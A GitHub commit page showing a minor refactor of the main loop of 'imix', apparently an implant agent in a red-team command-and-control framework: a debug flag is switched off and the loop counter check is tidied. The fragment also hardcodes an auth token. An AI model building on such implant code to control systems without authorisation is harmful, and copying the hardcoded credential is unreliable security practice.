Skip to content

Commit

Permalink
PR review requests.
Browse files Browse the repository at this point in the history
  • Loading branch information
hulto committed Oct 16, 2023
1 parent 2f6840b commit 87f6632
Showing 1 changed file with 6 additions and 3 deletions.
9 changes: 6 additions & 3 deletions implants/imix/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -172,13 +172,14 @@ fn get_os_pretty_name() -> Result<String> {

// Async handler for port scanning.
async fn main_loop(config_path: String, loop_count_max: Option<i32>) -> Result<()> {
let debug = true;
let debug = false;
let mut loop_count: i32 = 0;
let version_string = "v0.1.0";
let auth_token = "letmeinnn";
let config_file = File::open(config_path)?;
let imix_config: imix::Config = serde_json::from_reader(config_file)?;


// This hashmap tracks all tasks by their ID (key) and a tuple value: (future, channel_reciever)
let mut all_exec_futures: HashMap<String, ExecTask> = HashMap::new();
// This hashmap tracks all tasks output
Expand Down Expand Up @@ -393,9 +394,11 @@ async fn main_loop(config_path: String, loop_count_max: Option<i32>) -> Result<(
all_task_res_map = running_task_res_map.clone();

// Debug loop tracker
if loop_count_max.is_some() {
if let Some(count_max) = loop_count_max {
loop_count += 1;
if (loop_count >= loop_count_max.context("loop_count_max shouldn't be None")?) { return Ok(()); };
if loop_count >= count_max {
return Ok(());
}
}

Check warning on line 402 in implants/imix/src/main.rs

View check run for this annotation

Codecov / codecov/patch

implants/imix/src/main.rs#L401-L402

Added lines #L401 - L402 were not covered by tests
}
}
Expand Down

0 comments on commit 87f6632

Please sign in to comment.